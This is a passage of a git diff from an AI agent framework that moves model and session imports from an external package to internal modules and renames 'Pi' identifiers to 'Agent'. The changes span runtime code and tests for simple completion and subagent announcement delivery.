describe("completeWithPreparedSimpleCompletionModel", () => { ); }); - it("normalizes OpenClaw-only thinking levels before using pi-ai simple completion", async () => { + it("normalizes OpenClaw-only thinking levels before using shared model runtime simple completion", async () => { const model = { provider: "openai", id: "gpt-5.4", diff --git a/src/agents/simple-completion-runtime.ts b/src/agents/simple-completion-runtime.ts index 92f90b316b1..51f1dcfc280 100644 --- a/src/agents/simple-completion-runtime.ts +++ b/src/agents/simple-completion-runtime.ts @@ -1,15 +1,12 @@ -import { - completeSimple, - type Api, - type Model, - type ThinkingLevel as SimpleCompletionThinkingLevel, -} from "@earendil-works/pi-ai"; import type { ThinkLevel } from "../auto-reply/thinking.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { formatErrorMessage } from "../infra/errors.js"; +import { completeSimple } from "../llm/stream.js"; +import type { Model, ThinkingLevel as SimpleCompletionThinkingLevel } from "../llm/types.js"; import { prepareProviderRuntimeAuth } from "../plugins/provider-runtime.runtime.js"; import { resolveAgentDir, resolveAgentEffectiveModelPrimary } from "./agent-scope.js"; import { DEFAULT_PROVIDER } from "./defaults.js"; +import { resolveModel, resolveModelAsync } from "./embedded-agent-runner/model.js"; import { resolveAgentHarnessPolicy } from "./harness/policy.js"; import { applyLocalNoAuthHeaderOverride, @@ -24,7 +21,6 @@ import { resolveModelRefFromString, } from "./model-selection.js"; import { OPENAI_CODEX_PROVIDER_ID, isOpenAIProvider } from "./openai-codex-routing.js"; -import { resolveModel, resolveModelAsync } from "./pi-embedded-runner/model.js"; import { prepareModelForSimpleCompletion } from "./simple-completion-transport.js"; type SimpleCompletionAuthStorage = { @@ -47,7 +43,7 @@ export type SimpleCompletionModelOptions = { export type PreparedSimpleCompletionModel = | { - model: Model; + model: Model; auth: ResolvedProviderAuth; } | { @@ -67,7 +63,7 @@ export type AgentSimpleCompletionSelection = { export type PreparedSimpleCompletionModelForAgent = | { selection: AgentSimpleCompletionSelection; - model: Model; + model: Model; auth: ResolvedProviderAuth; } | { @@ -138,7 +134,7 @@ function resolveSimpleCompletionRuntimeProvider(params: { async function setRuntimeApiKeyForCompletion(params: { authStorage: SimpleCompletionAuthStorage; - model: Model; + model: Model; apiKey: string; authMode: ResolvedProviderAuth["mode"]; cfg?: OpenClawConfig; @@ -197,10 +193,10 @@ export async function prepareSimpleCompletionModel(params: { preferredProfile?: string; allowMissingApiKeyModes?: ReadonlyArray; allowBundledStaticCatalogFallback?: boolean; - skipPiDiscovery?: boolean; + skipAgentDiscovery?: boolean; modelResolver?: typeof resolveModelAsync; }): Promise { - const resolved = params.skipPiDiscovery + const resolved = params.skipAgentDiscovery ? await (params.modelResolver ?? resolveModelAsync)( params.provider, params.modelId, @@ -210,7 +206,7 @@ export async function prepareSimpleCompletionModel(params: { ...(params.allowBundledStaticCatalogFallback !== undefined ? { allowBundledStaticCatalogFallback: params.allowBundledStaticCatalogFallback } : {}), - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ) : resolveModel(params.provider, params.modelId, params.agentDir, params.cfg); @@ -288,7 +284,7 @@ export async function prepareSimpleCompletionModelForAgent(params: { preferredProfile?: string; allowMissingApiKeyModes?: ReadonlyArray; allowBundledStaticCatalogFallback?: boolean; - skipPiDiscovery?: boolean; + skipAgentDiscovery?: boolean; modelResolver?: typeof resolveModelAsync; }): Promise { const selection = resolveSimpleCompletionSelectionForAgent({ @@ -312,7 +308,7 @@ export async function prepareSimpleCompletionModelForAgent(params: { ...(params.allowBundledStaticCatalogFallback !== undefined ? { allowBundledStaticCatalogFallback: params.allowBundledStaticCatalogFallback } : {}), - skipPiDiscovery: params.skipPiDiscovery, + skipAgentDiscovery: params.skipAgentDiscovery, modelResolver: params.modelResolver, }); if ("error" in prepared) { @@ -329,7 +325,7 @@ export async function prepareSimpleCompletionModelForAgent(params: { } export async function completeWithPreparedSimpleCompletionModel(params: { - model: Model; + model: Model; auth: ResolvedProviderAuth; context: Parameters[1]; cfg?: OpenClawConfig; diff --git a/src/agents/simple-completion-transport.test.ts b/src/agents/simple-completion-transport.test.ts index 08e1b8b7fcf..b61ded18dc8 100644 --- a/src/agents/simple-completion-transport.test.ts +++ b/src/agents/simple-completion-transport.test.ts @@ -1,4 +1,4 @@ -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; @@ -7,6 +7,7 @@ const ensureCustomApiRegistered = vi.fn(); const resolveProviderStreamFn = vi.fn(); const buildTransportAwareSimpleStreamFn = vi.fn(); const createOpenClawTransportStreamFnForModel = vi.fn(); +const createTransportAwareStreamFnForModel = vi.fn(); const prepareTransportAwareSimpleModel = vi.fn(); const resolveTransportAwareSimpleApi = vi.fn(); @@ -21,6 +22,7 @@ vi.mock("./custom-api-registry.js", () => ({ vi.mock("./provider-transport-stream.js", () => ({ buildTransportAwareSimpleStreamFn, createOpenClawTransportStreamFnForModel, + createTransportAwareStreamFnForModel, prepareTransportAwareSimpleModel, resolveTransportAwareSimpleApi, })); @@ -48,12 +50,14 @@ describe("prepareModelForSimpleCompletion", () => { resolveProviderStreamFn.mockReset(); buildTransportAwareSimpleStreamFn.mockReset(); createOpenClawTransportStreamFnForModel.mockReset(); + createTransportAwareStreamFnForModel.mockReset(); prepareTransportAwareSimpleModel.mockReset(); resolveTransportAwareSimpleApi.mockReset(); createAnthropicVertexStreamFnForModel.mockReturnValue("vertex-stream"); resolveProviderStreamFn.mockReturnValue("ollama-stream"); buildTransportAwareSimpleStreamFn.mockReturnValue(undefined); createOpenClawTransportStreamFnForModel.mockReturnValue(undefined); + createTransportAwareStreamFnForModel.mockReturnValue(undefined); prepareTransportAwareSimpleModel.mockImplementation((model) => model); resolveTransportAwareSimpleApi.mockReturnValue(undefined); }); diff --git a/src/agents/simple-completion-transport.ts b/src/agents/simple-completion-transport.ts index 9461e9efdb7..08b1880a723 100644 --- a/src/agents/simple-completion-transport.ts +++ b/src/agents/simple-completion-transport.ts @@ -1,5 +1,6 @@ -import { getApiProvider, type Api, type Model } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { getApiProvider } from "../llm/api-registry.js"; +import type { Api, Model } from "../llm/types.js"; import { createAnthropicVertexStreamFnForModel } from "./anthropic-vertex-stream.js"; import { ensureCustomApiRegistered } from "./custom-api-registry.js"; import { registerProviderStreamForModel } from "./provider-stream.js"; @@ -36,7 +37,7 @@ function normalizeCodexResponsesBaseUrlForOpenAISdk(baseUrl?: string): string { return parsed.toString().replace(/\/$/u, ""); } } catch { - // Keep non-URL custom values on the same suffix contract pi-ai accepts. + // Keep non-URL custom values on the same suffix contract transport callers accept. } if (normalized.endsWith("/codex/responses")) { return normalized.slice(0, -"/responses".length); @@ -50,7 +51,7 @@ function normalizeCodexResponsesBaseUrlForOpenAISdk(baseUrl?: string): string { function prepareCodexSimpleTransportModel( model: Model, cfg?: OpenClawConfig, -): Model | undefined { +): Model | undefined { if (model.provider !== "openai-codex" || model.api !== "openai-codex-responses") { return undefined; } @@ -60,7 +61,7 @@ function prepareCodexSimpleTransportModel( const transportModel = { ...model, baseUrl: normalizeCodexResponsesBaseUrlForOpenAISdk(model.baseUrl), - } as Model; + } as Model; const api = resolveTransportAwareSimpleApi(model.api); const streamFn = createOpenClawTransportStreamFnForModel(transportModel, { cfg }); if (!api || !streamFn) { @@ -77,7 +78,7 @@ function prepareCodexSimpleTransportModel( export function prepareModelForSimpleCompletion(params: { model: Model; cfg?: OpenClawConfig; -}): Model { +}): Model { const { model, cfg } = params; // Only provider-owned custom APIs need runtime stream registration here. if (!getApiProvider(model.api) && registerProviderStreamForModel({ model, cfg })) { diff --git a/src/agents/skills/compact-format.test.ts b/src/agents/skills/compact-format.test.ts index 3ceb4b4553c..f8411b7cf14 100644 --- a/src/agents/skills/compact-format.test.ts +++ b/src/agents/skills/compact-format.test.ts @@ -1,5 +1,5 @@ import os from "node:os"; -import { formatSkillsForPrompt as upstreamFormatSkillsForPrompt } from "@earendil-works/pi-coding-agent"; +import { formatSkillsForPrompt as upstreamFormatSkillsForPrompt } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, beforeEach, describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import { createCanonicalFixtureSkill } from "../skills.test-helpers.js"; diff --git a/src/agents/skills/skill-contract.ts b/src/agents/skills/skill-contract.ts index 11f1a024a7c..1718ab50e3c 100644 --- a/src/agents/skills/skill-contract.ts +++ b/src/agents/skills/skill-contract.ts @@ -1,4 +1,5 @@ -import type { Skill as CanonicalSkill, SourceInfo } from "@earendil-works/pi-coding-agent"; +import type { Skill as CanonicalSkill } from "../sessions/skills.js"; +import type { SourceInfo } from "../sessions/source-info.js"; export type SourceScope = "user" | "project" | "temporary"; export type SourceOrigin = "package" | "top-level"; @@ -37,7 +38,7 @@ function escapeXml(str: string): string { /** * Keep this formatter's XML layout byte-for-byte aligned with the upstream - * Agent Skills formatter so we can avoid importing the full pi-coding-agent + * Agent Skills formatter so we can avoid importing the full session runtime * package root on the cold skills path. Visibility policy is applied upstream * before calling this helper. */ diff --git a/src/agents/stream-compat.ts b/src/agents/stream-compat.ts new file mode 100644 index 00000000000..70cb8c11a2f --- /dev/null +++ b/src/agents/stream-compat.ts @@ -0,0 +1,5 @@ +import type { AssistantMessage, AssistantMessageEvent } from "../llm/types.js"; + +export interface MutableAssistantMessageEventStream extends AsyncIterable { + result: () => Promise; +} diff --git a/src/agents/stream-message-shared.ts b/src/agents/stream-message-shared.ts index e669d26d08e..ea454a6e1fd 100644 --- a/src/agents/stream-message-shared.ts +++ b/src/agents/stream-message-shared.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage, StopReason, Usage } from "@earendil-works/pi-ai"; +import type { AssistantMessage, StopReason, Usage } from "../llm/types.js"; type StreamModelDescriptor = { api: string; diff --git a/src/agents/subagent-announce-delivery.runtime.ts b/src/agents/subagent-announce-delivery.runtime.ts index cf25f43d1fc..fe7df3c2044 100644 --- a/src/agents/subagent-announce-delivery.runtime.ts +++ b/src/agents/subagent-announce-delivery.runtime.ts @@ -13,8 +13,8 @@ export { createBoundDeliveryRouter } from "../infra/outbound/bound-delivery-rout export { resolveConversationIdFromTargets } from "../infra/outbound/conversation-id.js"; export { getGlobalHookRunner } from "../plugins/hook-runner-global.js"; export { - formatEmbeddedPiQueueFailureSummary, - isEmbeddedPiRunActive, - queueEmbeddedPiMessageWithOutcomeAsync, + formatEmbeddedAgentQueueFailureSummary, + isEmbeddedAgentRunActive, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, -} from "./pi-embedded-runner/runs.js"; +} from "./embedded-agent-runner/runs.js"; diff --git a/src/agents/subagent-announce-delivery.test.ts b/src/agents/subagent-announce-delivery.test.ts index 3679e9af777..f11751baf90 100644 --- a/src/agents/subagent-announce-delivery.test.ts +++ b/src/agents/subagent-announce-delivery.test.ts @@ -5,12 +5,12 @@ import { } from "../infra/outbound/session-binding-service.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createChannelTestPluginBase, createTestRegistry } from "../test-utils/channel-plugins.js"; -import type { AgentInternalEvent } from "./internal-events.js"; import type { - EmbeddedPiQueueFailureReason, - EmbeddedPiQueueMessageOptions, - EmbeddedPiQueueMessageOutcome, -} from "./pi-embedded-runner/runs.js"; + EmbeddedAgentQueueFailureReason, + EmbeddedAgentQueueMessageOptions, + EmbeddedAgentQueueMessageOutcome, +} from "./embedded-agent-runner/runs.js"; +import type { AgentInternalEvent } from "./internal-events.js"; import { testing, deliverSubagentAnnouncement, @@ -65,15 +65,15 @@ function createSendMessageMock() { })) as unknown as typeof runtimeSendMessage; } -type QueueEmbeddedPiMessageWithOutcome = ( +type QueueEmbeddedAgentMessageWithOutcome = ( sessionId: string, message: string, - options?: EmbeddedPiQueueMessageOptions, -) => EmbeddedPiQueueMessageOutcome; + options?: EmbeddedAgentQueueMessageOptions, +) => EmbeddedAgentQueueMessageOutcome; function createQueueOutcomeMock( queued: boolean, -): ReturnType> { +): ReturnType> { return vi.fn((sessionId: string) => queued ? { @@ -94,8 +94,8 @@ function createQueueOutcomeMock( } function createQueueOutcomeSequenceMock( - queuedOutcomes: (boolean | EmbeddedPiQueueFailureReason)[], -): ReturnType> { + queuedOutcomes: (boolean | EmbeddedAgentQueueFailureReason)[], +): ReturnType> { let index = 0; return vi.fn((sessionId: string) => { const outcome = queuedOutcomes[Math.min(index, queuedOutcomes.length - 1)] ?? false; @@ -191,7 +191,7 @@ async function deliverSlackThreadAnnouncement(params: { sessionId: string; expectsCompletionMessage: boolean; directIdempotencyKey: string; - queueEmbeddedPiMessageWithOutcome?: QueueEmbeddedPiMessageWithOutcome; + queueEmbeddedAgentMessageWithOutcome?: QueueEmbeddedAgentMessageWithOutcome; sendMessage?: typeof runtimeSendMessage; internalEvents?: AgentInternalEvent[]; sourceTool?: string; @@ -204,8 +204,8 @@ async function deliverSlackThreadAnnouncement(params: { }), getRuntimeConfig: () => ({}) as never, sendMessage: params.sendMessage ?? runtimeSendMessage, - ...(params.queueEmbeddedPiMessageWithOutcome - ? { queueEmbeddedPiMessageWithOutcome: params.queueEmbeddedPiMessageWithOutcome } + ...(params.queueEmbeddedAgentMessageWithOutcome + ? { queueEmbeddedAgentMessageWithOutcome: params.queueEmbeddedAgentMessageWithOutcome } : {}), }); @@ -272,7 +272,7 @@ async function deliverTelegramDirectMessageCompletion(params: { internalEvents?: AgentInternalEvent[]; isActive?: boolean; requesterSessionId?: string | null; - queueEmbeddedPiMessageWithOutcome?: QueueEmbeddedPiMessageWithOutcome; + queueEmbeddedAgentMessageWithOutcome?: QueueEmbeddedAgentMessageWithOutcome; requesterSessionKey?: string; sourceTool?: string; runtimeConfig?: Record; @@ -300,8 +300,8 @@ async function deliverTelegramDirectMessageCompletion(params: { }), getRuntimeConfig: () => (params.runtimeConfig ?? {}) as never, sendMessage: params.sendMessage ?? runtimeSendMessage, - ...(params.queueEmbeddedPiMessageWithOutcome - ? { queueEmbeddedPiMessageWithOutcome: params.queueEmbeddedPiMessageWithOutcome } + ...(params.queueEmbeddedAgentMessageWithOutcome + ? { queueEmbeddedAgentMessageWithOutcome: params.queueEmbeddedAgentMessageWithOutcome } : {}), }); @@ -342,7 +342,7 @@ async function deliverSlackChannelAnnouncement(params: { accountId?: string; threadId?: string | number; }; - queueEmbeddedPiMessageWithOutcome?: QueueEmbeddedPiMessageWithOutcome; + queueEmbeddedAgentMessageWithOutcome?: QueueEmbeddedAgentMessageWithOutcome; sendMessage?: typeof runtimeSendMessage; internalEvents?: AgentInternalEvent[]; sourceTool?: string; @@ -362,8 +362,8 @@ async function deliverSlackChannelAnnouncement(params: { }), getRuntimeConfig: () => (params.runtimeConfig ?? {}) as never, sendMessage: params.sendMessage ?? runtimeSendMessage, - ...(params.queueEmbeddedPiMessageWithOutcome - ? { queueEmbeddedPiMessageWithOutcome: params.queueEmbeddedPiMessageWithOutcome } + ...(params.queueEmbeddedAgentMessageWithOutcome + ? { queueEmbeddedAgentMessageWithOutcome: params.queueEmbeddedAgentMessageWithOutcome } : {}), }); @@ -626,7 +626,7 @@ describe("resolveSubagentCompletionOrigin", () => { describe("deliverSubagentAnnouncement active requester steering", () => { async function deliverSteeredAnnouncement(params: { mode?: "followup" | "collect" | "interrupt"; - queueEmbeddedPiMessageWithOutcome?: QueueEmbeddedPiMessageWithOutcome; + queueEmbeddedAgentMessageWithOutcome?: QueueEmbeddedAgentMessageWithOutcome; requesterOrigin?: { channel?: string; to?: string; @@ -642,8 +642,8 @@ describe("deliverSubagentAnnouncement active requester steering", () => { sessionId: "paperclip-session", isActive: activityChecks++ === 0, }), - queueEmbeddedPiMessageWithOutcome: - params.queueEmbeddedPiMessageWithOutcome ?? createQueueOutcomeMock(true), + queueEmbeddedAgentMessageWithOutcome: + params.queueEmbeddedAgentMessageWithOutcome ?? createQueueOutcomeMock(true), getRuntimeConfig: () => ({ messages: { @@ -718,10 +718,10 @@ describe("deliverSubagentAnnouncement active requester steering", () => { it.each(["followup", "collect", "interrupt"] as const)( "steers active requester announces even in %s mode", async (mode) => { - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); await deliverSteeredAnnouncement({ mode, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, requesterOrigin: { channel: "slack", to: "channel:C123", @@ -729,13 +729,13 @@ describe("deliverSubagentAnnouncement active requester steering", () => { }, }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledOnce(); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledOnce(); }, ); it("preserves best-effort steering for active runtimes without transcript wait support", async () => { - const queueEmbeddedPiMessageWithOutcome = vi - .fn() + const queueEmbeddedAgentMessageWithOutcome = vi + .fn() .mockImplementationOnce((sessionId: string) => ({ queued: false, sessionId, @@ -750,7 +750,7 @@ describe("deliverSubagentAnnouncement active requester steering", () => { enqueuedAtMs: 4_100, })); const callGateway = await deliverSteeredAnnouncement({ - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, requesterOrigin: { channel: "slack", to: "channel:C123", @@ -759,8 +759,8 @@ describe("deliverSubagentAnnouncement active requester steering", () => { }); expect(callGateway).not.toHaveBeenCalled(); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledTimes(2); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenNthCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledTimes(2); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenNthCalledWith( 1, "paperclip-session", "child done", @@ -771,7 +771,7 @@ describe("deliverSubagentAnnouncement active requester steering", () => { deliveryTimeoutMs: 120_000, }, ); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenNthCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenNthCalledWith( 2, "paperclip-session", "child done", @@ -784,7 +784,7 @@ describe("deliverSubagentAnnouncement active requester steering", () => { }); it("does not report delivery when active requester steering is rejected", async () => { - const queueEmbeddedPiMessageWithOutcome = vi.fn(async (sessionId: string) => ({ + const queueEmbeddedAgentMessageWithOutcome = vi.fn(async (sessionId: string) => ({ queued: false as const, sessionId, reason: "runtime_rejected" as const, @@ -798,7 +798,7 @@ describe("deliverSubagentAnnouncement active requester steering", () => { sessionId: "paperclip-session", isActive: true, }), - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, getRuntimeConfig: () => ({ messages: { @@ -829,7 +829,7 @@ describe("deliverSubagentAnnouncement active requester steering", () => { }); it("falls through to direct delivery when requester ends during awaited steering failure", async () => { - const queueEmbeddedPiMessageWithOutcome = vi.fn(async (sessionId: string) => ({ + const queueEmbeddedAgentMessageWithOutcome = vi.fn(async (sessionId: string) => ({ queued: false as const, sessionId, reason: "runtime_rejected" as const, @@ -848,7 +848,7 @@ describe("deliverSubagentAnnouncement active requester steering", () => { sessionId: "paperclip-session", isActive: activityChecks++ === 0, }), - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, getRuntimeConfig: () => ({ messages: { @@ -886,14 +886,14 @@ describe("deliverSubagentAnnouncement active requester steering", () => { describe("deliverSubagentAnnouncement completion delivery", () => { it("uses an active requester queue as the completion handoff when message-tool delivery is not required", async () => { const callGateway = createGatewayMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); const result = await deliverSlackThreadAnnouncement({ callGateway, sessionId: "requester-session-1", isActive: true, expectsCompletionMessage: true, directIdempotencyKey: "announce-1", - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, }); expectRecordFields(result, { @@ -902,7 +902,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { enqueuedAt: 4_100, deliveredAt: 4_200, }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledWith( "requester-session-1", "child done", { @@ -917,14 +917,14 @@ describe("deliverSubagentAnnouncement completion delivery", () => { it("does not also direct-run a queued active completion", async () => { const callGateway = createGatewayMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); const result = await deliverSlackThreadAnnouncement({ callGateway, sessionId: "requester-session-1", isActive: true, expectsCompletionMessage: true, directIdempotencyKey: "announce-harness-task", - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sourceTool: "agent_harness_task", }); @@ -934,20 +934,20 @@ describe("deliverSubagentAnnouncement completion delivery", () => { enqueuedAt: 4_100, deliveredAt: 4_200, }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledTimes(1); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledTimes(1); expect(callGateway).not.toHaveBeenCalled(); }); it("keeps direct external delivery for dormant completion requesters", async () => { const callGateway = createGatewayMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(false); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(false); await deliverSlackThreadAnnouncement({ callGateway, sessionId: "requester-session-2", isActive: false, expectsCompletionMessage: true, directIdempotencyKey: "announce-1b", - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, }); expectGatewayAgentParams(callGateway, { @@ -958,7 +958,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { threadId: "171.222", bestEffortDeliver: true, }); - expect(queueEmbeddedPiMessageWithOutcome).not.toHaveBeenCalled(); + expect(queueEmbeddedAgentMessageWithOutcome).not.toHaveBeenCalled(); }); it("directly delivers direct-message subagent text when the announce agent returns no visible output", async () => { @@ -1485,14 +1485,14 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, }); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeSequenceMock([ + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeSequenceMock([ "transcript_commit_wait_unsupported", "no_active_run", ]); const result = await deliverSlackThreadAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "requester-session-4", isActive: true, expectsCompletionMessage: true, @@ -1525,8 +1525,8 @@ describe("deliverSubagentAnnouncement completion delivery", () => { to: "channel:C123", threadId: "171.222", }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledTimes(2); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenNthCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledTimes(2); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenNthCalledWith( 1, "requester-session-4", "child done", @@ -1537,7 +1537,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { waitForTranscriptCommit: true, }, ); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenNthCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenNthCalledWith( 2, "requester-session-4", "child done", @@ -1674,7 +1674,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { const result = await deliverTelegramDirectMessageCompletion({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome: createQueueOutcomeMock(false), + queueEmbeddedAgentMessageWithOutcome: createQueueOutcomeMock(false), requesterSessionId: null, requesterSessionKey: "agent:main:telegram:direct:123456789", origin: { @@ -1722,12 +1722,11 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, }); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(false); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(false); const result = await deliverTelegramDirectMessageCompletion({ callGateway, sendMessage, isActive: true, - queueEmbeddedPiMessageWithOutcome, runtimeConfig: { agents: { defaults: { @@ -1737,6 +1736,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, }, }, + queueEmbeddedAgentMessageWithOutcome, internalEvents: [ { type: "task_completion", @@ -1765,8 +1765,8 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, ], }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledTimes(1); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledTimes(1); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledWith( "requester-session-telegram", "child done", { @@ -1786,8 +1786,8 @@ describe("deliverSubagentAnnouncement completion delivery", () => { payloads: [], }, }); - const queueEmbeddedPiMessageWithOutcome = vi - .fn() + const queueEmbeddedAgentMessageWithOutcome = vi + .fn() .mockImplementationOnce((sessionId: string) => ({ queued: false, sessionId, @@ -1806,7 +1806,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { isActive: true, expectsCompletionMessage: true, directIdempotencyKey: "announce-channel-empty-direct-steer-fallback", - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, internalEvents: [ { type: "task_completion", @@ -1835,7 +1835,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, ], }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledTimes(1); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledTimes(1); expect(callGateway).toHaveBeenCalledTimes(1); }); @@ -1846,14 +1846,14 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, }); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeSequenceMock([ + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeSequenceMock([ "transcript_commit_wait_unsupported", "no_active_run", ]); const result = await deliverSlackThreadAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "requester-session-4", isActive: true, expectsCompletionMessage: true, @@ -2509,7 +2509,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { it("keeps generated media completions on the active requester session path", async () => { const callGateway = createGatewayMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); const sendMessage = createSendMessageMock(); const result = await deliverSlackChannelAnnouncement({ callGateway, @@ -2519,7 +2519,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { expectsCompletionMessage: true, directIdempotencyKey: "announce-channel-media-active-direct", sourceTool: "video_generate", - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, internalEvents: [ { type: "task_completion", @@ -2544,7 +2544,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { enqueuedAt: 4_100, deliveredAt: 4_200, }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledWith( + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledWith( "requester-session-channel", "child done", { @@ -2575,7 +2575,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { ], }, }); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeSequenceMock([ + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeSequenceMock([ "transcript_commit_wait_unsupported", "no_active_run", ]); @@ -2583,7 +2583,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { const result = await deliverSlackChannelAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "requester-session-channel", isActive: true, expectsCompletionMessage: true, @@ -2612,7 +2612,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { delivered: true, path: "direct", }); - expect(queueEmbeddedPiMessageWithOutcome).toHaveBeenCalledTimes(2); + expect(queueEmbeddedAgentMessageWithOutcome).toHaveBeenCalledTimes(2); expect(callGateway).toHaveBeenCalledTimes(1); expect(sendMessage).toHaveBeenCalledWith( expect.objectContaining({ @@ -2629,11 +2629,11 @@ describe("deliverSubagentAnnouncement completion delivery", () => { it("directly delivers stale isolated cron run media completions", async () => { const callGateway = createGatewayMock(); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); const result = await deliverSlackChannelAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "stale-cron-run-session", isActive: false, requesterSessionKey: "agent:main:cron:daily-media:run:run-123", @@ -2661,7 +2661,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { delivered: true, path: "direct", }); - expect(queueEmbeddedPiMessageWithOutcome).not.toHaveBeenCalled(); + expect(queueEmbeddedAgentMessageWithOutcome).not.toHaveBeenCalled(); expect(callGateway).not.toHaveBeenCalled(); expect(sendMessage).toHaveBeenCalledWith( expect.objectContaining({ @@ -2678,11 +2678,11 @@ describe("deliverSubagentAnnouncement completion delivery", () => { it("no-ops stale isolated cron run text completions", async () => { const callGateway = createGatewayMock(); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); const result = await deliverSlackChannelAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "stale-cron-run-session", isActive: false, requesterSessionKey: "agent:main:cron:daily-text:run:run-123", 